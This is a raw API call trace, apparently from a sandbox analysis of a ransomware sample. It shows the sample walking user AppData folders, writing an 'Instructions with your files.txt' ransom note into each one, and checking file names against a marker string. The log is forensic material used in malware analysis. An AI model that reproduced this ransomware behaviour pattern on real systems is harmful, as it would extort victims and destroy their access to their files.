[0130.919] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.919] CloseHandle (hObject=0x124) returned 1
[0130.919] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.919] GetProcessHeap () returned 0x810000
[0130.919] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.919] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 0
[0130.919] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\Instructions with your files.txt") returned 138
[0130.919] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.919] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.920] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.920] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.920] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.920] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.920] CloseHandle (hObject=0x120) returned 1
[0130.921] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.921] GetProcessHeap () returned 0x810000
[0130.921] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0130.921] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0
[0130.921] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Instructions with your files.txt") returned 114
[0130.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.921] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.922] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.922] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.922] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.922] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.922] CloseHandle (hObject=0x11c) returned 1
[0130.922] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.922] GetProcessHeap () returned 0x810000
[0130.922] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.922] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0
[0130.923] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Instructions with your files.txt") returned 101
[0130.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.923] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.924] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.924] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.924] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.924] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.927] CloseHandle (hObject=0x118) returned 1
[0130.927] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.927] GetProcessHeap () returned 0x810000
[0130.927] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0130.928] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0
[0130.928] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Instructions with your files.txt") returned 89
[0130.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.929] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.930] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.930] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.930] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.930] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.930] CloseHandle (hObject=0x114) returned 1
[0130.930] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.930] GetProcessHeap () returned 0x810000
[0130.930] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0130.930] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0130.930] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned 60
[0130.930] GetProcessHeap () returned 0x810000
[0130.931] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0130.931] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*") returned 62
[0130.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.074] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\.") returned 62
[0131.089] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.089] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.089] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\..") returned 63
[0131.089] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.089] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1
[0131.089] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 77
[0131.089] GetProcessHeap () returned 0x810000
[0131.090] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.090] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*") returned 79
[0131.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.090] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\.") returned 79
[0131.090] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.090] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.090] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\..") returned 80
[0131.090] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.090] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1
[0131.090] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 85
[0131.090] GetProcessHeap () returned 0x810000
[0131.090] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.091] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*") returned 87
[0131.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.095] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\.") returned 87
[0131.095] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.095] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\..") returned 88
[0131.096] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 151
[0131.096] StrStrIW (lpFirst="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpSrch="SDfghjkl") returned 0x0
[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 151
[0131.096] StrStrIW (lpFirst="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpSrch="SDfghjkl") returned 0x0
[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 151
[0131.096] StrStrIW (lpFirst="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpSrch="SDfghjkl") returned 0x0
[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 118
[0131.096] StrStrIW (lpFirst="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpSrch="SDfghjkl") returned 0x0
[0131.096] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1
[0131.096] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned 118
[0131.096] StrStrIW (lpFirst="23B523C9E7746F715D33C6527C18EB9D", lpSrch="SDfghjkl") returned 0x0
